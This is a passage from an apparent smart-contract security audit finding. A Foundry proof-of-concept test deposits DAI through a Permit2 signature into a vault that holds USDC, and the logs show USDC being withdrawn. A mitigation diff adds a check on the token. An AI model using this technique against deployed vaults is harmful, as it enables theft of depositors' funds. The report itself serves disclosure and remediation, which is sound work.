            ISignatureTransfer.TokenPermissions(address(DAI), amount), 1, block.timestamp
        );
        bytes memory signature = _getPermitTransferFromSignature(tf, privateKey, address(vault));
        bytes memory permitData = abi.encode(tf, signature);

        assertEq(vault.lendInfo(alice), 0);

        vm.prank(address(alice));
        vault.deposit(amount,alice,permitData);
        console2.log("vault DAI bal after alice deposit:",DAI.balanceOf(address(vault)));

        uint256 max = vault.maxWithdraw(alice);
        vm.prank(address(alice));
        vault.withdraw(max, alice, alice);

        console2.log("alice USDC bal:",USDC.balanceOf(alice));
        console2.log("vault USDC bal:",USDC.balanceOf(address(vault)));
    }

output:

[PASS] testDepositToVaultCanBeAnyToken() (gas: 584675)
Logs:
  vault USDC bal after bob deposit: 10000000
  vault DAI bal after alice deposit: 2000000
  alice USDC bal: 2000000
  vault USDC bal: 8000000

Tools Used

Foundry

Recommended Mitigation Steps

@@ -893,6 +896,7 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         if (permitData.length > 0) {
             (ISignatureTransfer.PermitTransferFrom memory permit, bytes memory signature) =
                 abi.decode(permitData, (ISignatureTransfer.PermitTransferFrom, bytes));
+            require(permit.permitted.token == asset,"not support erc20 token");
             permit2.permitTransferFrom(
                 permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature
             );
@@ -904,11 +908,13 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         _mint(receiver, shares);

Assessed type

ERC20